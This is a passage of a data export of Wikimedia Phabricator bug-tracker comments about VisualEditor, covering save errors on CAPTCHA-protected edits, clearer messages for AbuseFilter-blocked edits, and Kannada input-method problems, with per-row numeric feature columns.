https://gerrit.wikimedia.org/r/71160",,,1372563855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.842105263157895,0.9473684210526315,"Change 71160 merged by jenkins-bot:
mw: Implement support for ConfirmEdit and FancyCaptcha

GERRIT_URL"
234215,VisualEditor: Edits triggering CAPTCHA cannot be saved,"Change 71160 had a related patch set uploaded by Krinkle:
mw: Implement support for ConfirmEdit and FancyCaptcha

https://gerrit.wikimedia.org/r/71160",,,1372537638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.954545454545454,0.9545454545454546,"Change 71160 had a related patch set uploaded by Krinkle:
mw: Implement support for ConfirmEdit and FancyCaptcha

GERRIT_URL"
234207,VisualEditor: Edits triggering CAPTCHA cannot be saved,"Right now the handling of any error results the following alert:

> Error saving data to server: Failed request: {api.result}.

The only variable we use is the result code, not the error code. And though the error code varies (badtoken, hookabort, needcaptcha) the result is always ""error"".

Fortunately (at least) the ConfirmEdit extension, and specifically the FancyCaptcha variant (which Wikimedia uses) does provide an API and exposes the following through the EditPage/ApiEdit/ApiVisualEditor result:

{
    ""visualeditor"": {
        ""result"": ""error"",
        ""edit"": {
            ""captcha"": {
                ""type"": ""image"",
                ""mime"": ""image/png"",
                ""id"": ""626590462"",
                ""url"": ""//alpha.wikipedia.krinkle.dev/w/index.php?title=Special:Captcha/image&wpCaptchaId=fa4e388ad7""
            },
            ""result"": ""Failure""
        }
    }
}

So it looks like we can use this to build the UI for it.",,,1372458780,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,True,,,-1,,0.5,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,1.5,0.0,3.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,15.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,8.5,0.5,1.5,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,2.0,3.5,8.5,0.0,16.0,0.0,2.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,4.04,0.5349999999999999,"Right now the handling of any error results the following alert:

QUOTE

The only variable we use is the result code, not the error code. And though the error code varies (badtoken, hookabort, needcaptcha) the result is always ""error"".

Fortunately (at least) the ConfirmEdit extension, and specifically the FancyCaptcha variant (which Wikimedia uses) does provide an API and exposes the following through the EditPage/ApiEdit/ApiVisualEditor result:

{
    ""visualeditor"": {
        ""result"": ""error"",
        ""edit"": {
            ""captcha"": {
                ""type"": ""image"",
                ""mime"": ""image/png"",
                ""id"": ""626590462"",
                ""url"": ""//alpha.wikipedia.krinkle.dev/w/index.php?title=Special:Captcha/image&wpCaptchaId=fa4e388ad7""
            },
            ""result"": ""Failure""
        }
    }
}

So it looks like we can use this to build the UI for it."
234199,VisualEditor: Edits triggering CAPTCHA cannot be saved,"This depends on MediaWiki making the CAPTCHAs available through an API, which I believe is currently not done. Timo to comment.",,,1372450760,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,4.458333333333333,0.9583333333333334,"This depends on MediaWiki making the CAPTCHAs available through an API, which I believe is currently not done. Timo to comment."
234193,VisualEditor: Edits triggering CAPTCHA cannot be saved,"(In reply to comment #0)
> Error saving data to server: Failed request: error.

The same error is also seen when triggering the spam blacklist.",,,1372422758,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-lsxohsnqwom7fu46vsrm,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5217391304347827,1.0,"(In reply to comment #0)
QUOTE

The same error is also seen when triggering the spam blacklist."
52350,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"When attempting an edit that is disallowed by AbuseFilter, you get a browser alert:

Error saving data to server: Unsuccessful request: The modification you tried to make was aborted by an extension hook.

Instead, VE should show a less cryptic message specific to AbuseFilter.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1372407600,1372703938.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-yhjioiu5qdrnau76umcl,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,7.0,0.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,1.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,14.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,7.0,4.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,3.0,1.0,0.0,0.0,4.408450704225352,0.676056338028169,"When attempting an edit that is disallowed by AbuseFilter, you get a browser alert:

Error saving data to server: Unsuccessful request: The modification you tried to make was aborted by an extension hook.

Instead, VE should show a less cryptic message specific to AbuseFilter.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233851,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,This has now been done and will go out today.,,,1372703938,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,1.0,This has now been done and will go out today.
233843,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"Change 71293 merged by jenkins-bot:
mw.ViewPageTarget: Show save errors in save dialog instead of alert

https://gerrit.wikimedia.org/r/71293",,,1372703904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9166666666666666,"Change 71293 merged by jenkins-bot:
mw.ViewPageTarget: Show save errors in save dialog instead of alert

GERRIT_URL"
233837,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"Given that AbuseFilter (but not others) depend on bug 32216, I'm moving that part to a new bug, bug 50472; the rest of this bug will be done today.",,,1372618721,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3055555555555554,0.8611111111111112,"Given that AbuseFilter (but not others) depend on bug 32216, I'm moving that part to a new bug, bug 50472; the rest of this bug will be done today."
233831,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"AbuseFilter, wgSpamRegex (core), TitleBlacklist, SpamBlacklist, ..",,,1372617952,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.083333333333333,0.75,"AbuseFilter, wgSpamRegex (core), TitleBlacklist, SpamBlacklist, .."
233823,VisualEditor: Message shown when edits are disallowed by API needs to be clearer,"Change 71293 had a related patch set uploaded by Krinkle:
(DRAFT) mw.ViewPageTarget: Show unrecoverable/unknown save errors in dialog instead of alert

https://gerrit.wikimedia.org/r/71293",,,1372617672,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yhjioiu5qdrnau76umcl,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.46875,0.96875,"Change 71293 had a related patch set uploaded by Krinkle:
(DRAFT) mw.ViewPageTarget: Show unrecoverable/unknown save errors in dialog instead of alert

GERRIT_URL"
52346,VE does not support typing in Kannada,"VE's behaviour is not as expected when I invoke my own IME for entering Kannada text. If I press Enter after typing some text, it creates a blank line above the current line rather than below the line. Some conjuncts also get dissociated and show sthe constituent Unicode character instead of the conjuncts. I am using Windows 8 and Firefox (ver 21). I tried using the built-in IME as well as Baraa IME. in both cases I could not use the VE for typing in Kannada.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1372403160,1377202358.0,PHID-USER-qpuuryo2o37amdlkb5gk,False,,False,PHID-TASK-2qe7sdslfntthznnkcbt,task_description,resolved,True,c1,2,False,False,True,-1,,1.0,0.0,0.0,0.0,1.5,4.0,0.5,0.0,0.0,0.5,5.5,0.0,0.0,0.0,0.0,4.0,0.0,5.0,8.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,1.0,0.0,0.0,3.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,3.5,1.5,15.0,1.0,1.5,5.5,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,4.5,8.5,8.5,0.0,0.0,0.0,4.5,0.0,0.5,0.5,0.0,3.5,0.0,0.0,0.0,3.8965517241379306,0.7586206896551724,"VE's behaviour is not as expected when I invoke my own IME for entering Kannada text. If I press Enter after typing some text, it creates a blank line above the current line rather than below the line. Some conjuncts also get dissociated and show sthe constituent Unicode character instead of the conjuncts. I am using Windows 8 and Firefox (ver 21). I tried using the built-in IME as well as Baraa IME. in both cases I could not use the VE for typing in Kannada.

--------------------------
**Version**: unspecified
**Severity**: critical"
233629,VE does not support typing in Kannada,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,11.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4571428571428573,0.8,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!"
233623,VE does not support typing in Kannada,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377164912,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

GERRIT_URL"
233616,VE does not support typing in Kannada,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377027669,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.458333333333333,0.9166666666666666,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

GERRIT_URL"
233609,VE does not support typing in Kannada,"Hi, thanks for your help.

I think the issue may be resolved by the following patch: https://gerrit.wikimedia.org/r/#/c/79451 . Or at least, the problems may be different now. I'm not sure it's working correctly with the ""Kannada inscript (m17n)"" ibus input method on Ubuntu+firefox, but it would be good for a Kannada reader to verify this!",,,1376936950,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,1.0,1.0,7.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,4.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,12.0,0.0,3.0,9.0,0.0,0.0,1.0,0.0,6.0,1.0,1.0,0.0,7.0,10.0,4.0,0.0,3.0,0.0,7.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,3.63768115942029,0.782608695652174,"Hi, thanks for your help.

I think the issue may be resolved by the following patch: URL . Or at least, the problems may be different now. I'm not sure it's working correctly with the ""Kannada inscript (m17n)"" ibus input method on Ubuntu+firefox, but it would be good for a Kannada reader to verify this!"
233602,VE does not support typing in Kannada,"VE Kannada screen shot after pressing spacebar

**Attached**: {F11104}",,,1373357251,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.7058823529411766,0.8235294117647058,"VE Kannada screen shot after pressing spacebar

**Attached**: {F11104}"
233598,VE does not support typing in Kannada,"VE Kannada screen shot before pressing spacebar

**Attached**: {F11103}",,,1373357196,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.764705882352941,0.8235294117647058,"VE Kannada screen shot before pressing spacebar

**Attached**: {F11103}"
233593,VE does not support typing in Kannada,"(In reply to comment #5)
> I am not sure if the VE has been improved. But now I am able to type in
> Kannada
> if I use the Windows built-in IME as well as the Indic IME2 developed by
> Microsoft-India. But the Baraha IME is still giving problems. I am waiting
> for
> the ULS to be enabled in VE.

This was somewhat prematured comment. When I thoroughly tested I found some bugs in built-in IME as well as Indian IME2 also. It does render properly initially, but when I press space bar, the display gets spoiled. I will add the screeenshots.",,,1373356552,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,6.0,0.0,13.0,7.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,24.0,3.0,1.0,6.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,7.0,7.0,10.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6619718309859155,0.704225352112676,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This was somewhat prematured comment. When I thoroughly tested I found some bugs in built-in IME as well as Indian IME2 also. It does render properly initially, but when I press space bar, the display gets spoiled. I will add the screeenshots."
233589,VE does not support typing in Kannada,I am not sure if the VE has been improved. But now I am able to type in Kannada if I use the Windows built-in IME as well as the Indic IME2 developed by Microsoft-India. But the Baraha IME is still giving problems. I am waiting for the ULS to be enabled in VE.,,,1373353002,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,3.0,2.0,3.0,3.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,29.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,16.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.338709677419355,0.6612903225806451,I am not sure if the VE has been improved. But now I am able to type in Kannada if I use the Windows built-in IME as well as the Indic IME2 developed by Microsoft-India. But the Baraha IME is still giving problems. I am waiting for the ULS to be enabled in VE.
233585,VE does not support typing in Kannada,I treid the built-in IME of Windows 8 as well as a thrid party IME called Baraha.,,,1372417654,,PHID-USER-qpuuryo2o37amdlkb5gk,False,,,PHID-TASK-2qe7sdslfntthznnkcbt,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,25.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.25,0.9,I treid the built-in IME of Windows 8 as well as a thrid party IME called Baraha.
233584,VE does not support typing in Kannada,"Thanks for taking the time to report this and testing VE!
What are the exact steps to reproduce this?

I tried:
1. Make sure to be logged in on http://kn.wikipedia.org/
2. Make sure that on http://kn.wikipedia.org/wiki/%E0%B2%B5%E0%B2%BF%E0%B2%B6%E0%B3%87%E0%B2%B7:Preferences?uselang=en#mw-prefsection-editing > ""Beta features >  Enable VisualEditor (only in the main and user namespaces)"" is enabled.
3. Go to a random article like http://kn.wikipedia.org/wiki/ಔಷಧೀಯ_ರಸಾಯನಶಾಸ್ತ್ರ?veaction=edit
4. I can confirm that keyboard cursor in on top of text, but I can type (Firefox 18).

5. Click the cog next to ""ಇತರ ಭಾಷೆಗಳು"" (In other languages) and choose ""Input settings"".
6. ""Input methods for ಕನ್ನಡ"" says ""Use native keyboard"".

So here I have several options.

